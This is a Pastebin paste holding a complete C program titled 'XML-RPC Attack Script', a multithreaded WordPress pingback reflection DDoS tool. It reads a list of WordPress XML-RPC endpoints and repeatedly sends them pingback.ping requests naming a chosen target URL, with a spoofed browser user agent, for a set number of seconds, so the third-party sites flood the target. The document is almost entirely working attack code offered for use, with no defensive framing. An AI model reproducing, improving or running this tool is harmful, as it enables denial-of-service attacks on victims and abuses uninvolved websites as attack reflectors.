Dr-L0v3

XML-RPC Attack Script

Dec 20th, 2017
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.55 KB | None | 0 0
  1. /*
  2.  
  3. gcc xmlrpc.c -Wall -ggdb -fopenmp -o xmlrpc
  4.  
  5. */
  6. #define _GNU_SOURCE
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <sys/socket.h>
  11. #include <sys/select.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <sys/stat.h>
  15. #include <signal.h>
  16. #include <string.h>
  17. #include <stdio.h>
  18. #include <netdb.h>
  19. #include <unistd.h>
  20. #include <time.h>
  21. #include <arpa/inet.h>
  22. #include <sys/ioctl.h>
  23.  
  24. #include "omp.h"
  25.  
  26. static unsigned int nthreads = 1;    
  27. static int sig_stop = 0;    
  28.  
  29. #define payloadSize 4096
  30. #define packetSize (payloadSize + 4096)
  31.  
  32. struct url_t{    
  33.     char * proto;
  34.     char * host;
  35.     char * path;
  36. };
  37.  
  38. struct line_t{    
  39.     char * url;    
  40.     char * rpc;    
  41.     struct addrinfo *rp;    
  42.     struct url_t aURL;    
  43. } *data;
  44. static unsigned int dataSize = 0;    
  45.  
  46. static void signal_handler(int sig){
  47.     switch(sig){
  48.         case SIGINT:
  49.         case SIGTERM:
  50.             printf("Received interrupt signal. Stopping program...\n");
  51.             sig_stop = 1;
  52.             break;
  53.     }
  54. };
  55.  
  56. static int die(int rc){
  57.     #pragma omp atomic
  58.     sig_stop++;
  59.  
  60.     if(sig_stop > nthreads){    
  61.  
  62.         printf("Freeing global data\n");
  63.         int i;
  64.         for(i=0; i < dataSize; i++){
  65.             free(data[i].url);
  66.             free(data[i].rpc);
  67.             free(data[i].rp->ai_addr);
  68.             freeaddrinfo(data[i].rp);
  69.             free(data[i].aURL.host);
  70.             free(data[i].aURL.proto);
  71.             free(data[i].aURL.path);
  72.         }
  73.         free(data);
  74.     }
  75.  
  76.     printf("Thread %i done\n", omp_get_thread_num());
  77.     exit(rc);
  78. }
  79.  
  80. static char * parse_url(char * url_str, struct url_t* url){
  81.     char * proto_end = strstr(url_str, "://");
  82.     url->proto = (proto_end != NULL)? strndup(url_str, (proto_end - url_str))
  83.         : NULL;
  84.     char * host_end = strchr(&proto_end[3], '/');
  85.     url->host =  (host_end != NULL) ? strndup(&proto_end[3], (host_end - &proto_end[3]))
  86.         : NULL;
  87.  
  88.     url->path = (host_end != NULL)  ? strdup(&host_end[1])
  89.         : NULL;
  90.  
  91.     return url->host;
  92. }
  93.  
  94. /*static struct addrinfo * get_ip(const char * host, const int port){
  95.     struct addrinfo hints;
  96.     struct addrinfo *result;
  97.  
  98.     memset(&hints, 0, sizeof(struct addrinfo));
  99.     hints.ai_family = AF_INET;    
  100.     hints.ai_socktype = 0;
  101.     hints.ai_flags = AI_NUMERICSERV;
  102.     hints.ai_protocol = 0;    
  103.     hints.ai_canonname = NULL;
  104.     hints.ai_addr = NULL;
  105.     hints.ai_next = NULL;
  106.  
  107.     char service[6]={0};
  108.     snprintf(service, 6, "%i", port);
  109.     int s = getaddrinfo(host, service, &hints, &result);
  110.     if (s != 0) {
  111.         fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
  112.             return NULL;
  113.     }
  114.     return result;
  115. };*/
  116.  
  117. static int connect_me(const struct line_t * line, const unsigned short port, const unsigned short timeout){
  118.  
  119.     struct addrinfo * rp = line->rp;
  120.  
  121.     int skt = -1;
  122.     if ((skt = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol)) < 0){
  123.         perror("socket");
  124.         fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
  125.         return -1;
  126.     }
  127.  
  128.     struct timeval    tv_tout;    
  129.  
  130.     /* TODO: this does NOT work! Why ?
  131.     tv_tout.tv_sec = timeout; tv_tout.tv_usec = 0;
  132.     if(setsockopt(skt, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv_tout,sizeof(struct timeval)) == -1){
  133.         perror("setsockopt");
  134.         freeaddrinfo(rp);
  135.         return -1;
  136.     };*/
  137.     int on = 1;
  138.     if (ioctl(skt, (int)FIONBIO, (char *)&on)){
  139.         printf("ioctl FIONBIO call failed\n");
  140.     }
  141.  
  142.     connect(skt, rp->ai_addr, rp->ai_addrlen);
  143.  
  144.     fd_set  skt_set;
  145.     FD_ZERO(&skt_set);
  146.     FD_SET(skt, &skt_set);
  147.  
  148.     tv_tout.tv_sec = timeout;
  149.     tv_tout.tv_usec = 0;
  150.  
  151.     int rc = select(skt+1, NULL, &skt_set, NULL, &tv_tout);
  152.     if(rc < 0){
  153.         close(skt);
  154.         fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
  155.         return -1;
  156.     }else if(rc == 0){
  157.         close(skt);
  158.         fprintf(stderr, "Timeout connecting to %s on port %i\n",line->aURL.host, port);
  159.         return -1;
  160.     }
  161.  
  162.     return skt;
  163. };
  164.  
  165. static int do_request(char * packet,
  166.             const struct line_t * line, const char * payload, const unsigned int payloadLen){
  167.  
  168.     int skt = connect_me(line, 80, 2);    
  169.     if(skt == -1){
  170.         return 1;
  171.     }
  172.  
  173.     static const char packetFormat[] = "POST /%s HTTP/1.0\r\n"    
  174. "Host: %s\r\n"    
  175. "Content-type: text/xml\r\n"
  176. "Content-length: %i\r\n"    
  177. "User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)\r\n"
  178. "Connection: close\r\n\r\n"
  179. "%s";
  180.  
  181.     int packetLen = snprintf(packet, packetSize, packetFormat, line->aURL.path, line->aURL.host, payloadLen, payload);
  182.  
  183.     if(send(skt, packet, packetLen, 0) == -1){
  184.         perror("send");
  185.     }
  186.     close(skt);
  187.     return 0;
  188. };
  189.  
  190. static int get_lines(const char * filepath){
  191.  
  192.     FILE *fin = fopen(filepath, "r");
  193.     if(fin == NULL){
  194.         fprintf(stderr, "Unable to open '%s'\n", filepath);
  195.         return 1;
  196.     }
  197.  
  198.     size_t lineSize = 4096;
  199.     char * line = (char*) malloc(lineSize);
  200.     if(line == NULL){
  201.         perror("malloc");
  202.         return 1;
  203.     }
  204.  
  205.     int bytes = 0;
  206.     while((bytes = getline(&line, &lineSize, fin)) > 0){
  207.         if(line[bytes-1] == '\n');
  208.             dataSize++;
  209.     }
  210.     rewind(fin);
  211.  
  212.     data = (struct line_t*) malloc(sizeof(struct line_t)*dataSize);
  213.     if(data == NULL){
  214.         perror("malloc");
  215.         return 1;
  216.     }
  217.  
  218.     int i=0, line_i=0;
  219.     char pton_buf[512]={0};
  220.     while((bytes = getline(&line, &lineSize, fin)) > 0){
  221.         line_i++;
  222.         line[bytes-1] = '\0';
  223.         char * space = strchr(line, ' ');
  224.         if(space == NULL){
  225.             continue;
  226.         }
  227.  
  228.         data[i].url = strndup(line, (space - line));
  229.  
  230.         char * rpc = &space[1];
  231.         space = strchr(&space[1], ' ');
  232.         space[0] = '\0';
  233.  
  234.         data[i].rpc = strdup(rpc);
  235.  
  236.         char * rp_info = &space[1];
  237.         data[i].rp = (struct addrinfo*) malloc(sizeof(struct addrinfo));
  238.         if(data[i].rp == NULL){
  239.             perror("malloc");
  240.             die(1);
  241.         }
  242.  
  243.         if(5 != sscanf(rp_info, "%i %i %i %u %s", &data[i].rp->ai_family,    &data[i].rp->ai_socktype,
  244.           &data[i].rp->ai_protocol, &data[i].rp->ai_addrlen, pton_buf)){
  245.             fprintf(stderr, "Error: Failed to parse 5 columns from line %i\n", line_i);
  246.             die(1);
  247.         }
  248.  
  249.         void *ptr;
  250.         switch (data[i].rp->ai_family){
  251.         case AF_INET:
  252.             data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in));
  253.             if(data[i].rp->ai_addr == NULL){
  254.                 perror("malloc"); die(1);
  255.             }
  256.             ptr = &((struct sockaddr_in *) data[i].rp->ai_addr)->sin_addr;
  257.             ((struct sockaddr_in *) data[i].rp->ai_addr)->sin_port = htons(80);
  258.           break;
  259.         case AF_INET6:
  260.             data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in6));
  261.             if(data[i].rp->ai_addr == NULL){
  262.                 perror("malloc"); die(1);
  263.             }
  264.             ptr = &((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_addr;
  265.             ((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_port = htons(80);
  266.           break;
  267.         }
  268.         data[i].rp->ai_addr->sa_family = data[i].rp->ai_family;
  269.         data[i].rp->ai_canonname = NULL;
  270.         data[i].rp->ai_next = NULL;
  271.  
  272.         if(inet_pton(data[i].rp->ai_family, pton_buf, ptr) != 1){
  273.             perror("inet_pton");
  274.             die(1);
  275.         }
  276.  
  277.         if(parse_url(rpc, &data[i].aURL) == NULL){
  278.             fprintf(stderr, "Error: Parsing %s\n", data[i].rpc);
  279.             die(1);    
  280.         }
  281.  
  282.         i++;
  283.  
  284.     }
  285.     dataSize = i;
  286.  
  287.     printf("Parsed %u lines from '%s'\n", i, filepath);
  288.     free(line);
  289.     fclose(fin);
  290.     return 0;
  291. }
  292.  
  293. int main(const int argc, const char * argv[]){    
  294.  
  295.     if(argc != 5){
  296.         fprintf(stderr, "Usage: $0 {target} {file} {seconds} {threads}\n");
  297.         return 1;
  298.     }
  299.  
  300.     const char * target     = argv[1];
  301.     const char * webFile = argv[2];
  302.     unsigned int seconds = atoi(argv[3]);
  303.     nthreads             = atoi(argv[4]);
  304.  
  305.     struct sigaction act, act_old;
  306.     act.sa_handler = signal_handler;
  307.     act.sa_flags = 0;
  308.     sigemptyset(&act.sa_mask);
  309.     if(    (sigaction(SIGINT,  &act, &act_old) == -1)    ||        
  310.         (sigaction(SIGTERM, &act, &act_old) == -1)){
  311.         perror("signal:");
  312.         return 1;
  313.     }
  314.  
  315.     static const char payloadFormat[] = "<?xmlversion=\"1.0\"?>"
  316. "<methodCall>"
  317. "<methodName>pingback.ping</methodName>"
  318. "<params>"
  319. "<param><value><string>%s</string></value></param>"    
  320. "<param><value><string>%s</string></value></param>"    
  321. "</params>"
  322. "</methodCall>";
  323.  
  324.     if(get_lines(webFile) == 1){
  325.         return 1;
  326.     }
  327.  
  328.     time_t t3   = time(NULL);
  329.     time_t tEnd = t3 + seconds;
  330.  
  331.     if(nthreads > dataSize){
  332.         printf("Warning: Threads count > URL count. Reducing threads to %i\n", dataSize);
  333.         nthreads = dataSize;
  334.     }
  335.  
  336.     int chunk = dataSize / nthreads;
  337.  
  338. #pragma omp parallel num_threads(nthreads)
  339. {
  340.     int tid = omp_get_thread_num();
  341.     char *payload = (char*) malloc(payloadSize);
  342.     char *packet  = (char*) malloc(payloadSize + 4096);
  343.     if((payload == NULL) || (packet == NULL)){
  344.         perror("malloc");
  345.         die(1);
  346.     }
  347.  
  348.     int istart      = tid * chunk;
  349.     int iend = istart + chunk;
  350.     if(tid == (nthreads-1))    
  351.         iend += (dataSize % nthreads);    
  352.  
  353.     while(sig_stop == 0){    
  354.  
  355.         #pragma omp flush(sig_stop)
  356.         int i=0;
  357.         time_t i1 = time(NULL);
  358.         for(i=istart; i < iend; i++){
  359.             if( (time(NULL) >= tEnd) || (sig_stop > 0) ){
  360.                 printf("Thread %i out of time\n", tid);
  361.                 i = iend;
  362.                 #pragma omp atomic
  363.                 sig_stop++;
  364.                 continue;
  365.             }
  366.  
  367.             int payloadLen = snprintf(payload, payloadSize, payloadFormat, target, data[i].url);
  368.             do_request(packet, &data[i], payload, payloadLen);
  369.  
  370.             usleep(10000);
  371.  
  372.             #pragma omp critical
  373.             printf("%s\n", data[i].url);
  374.         }
  375.         time_t i2 = time(NULL);
  376.         #pragma omp critical
  377.         printf("%i| %i requests done for %lu sec\n", tid, (iend-istart), (i2-i1) );
  378.     }
  379.     free(payload);
  380.     free(packet);
  381.  
  382.     #pragma omp atomic
  383.     ++sig_stop;
  384. }
  385.  
  386.     time_t t4 = time(NULL);
  387.     printf("Runtime: %lus\n", t4-t3);
  388.  
  389.     die(0);
  390.     return 0;
  391. }
Advertisement
Add Comment
Please, Sign In to add comment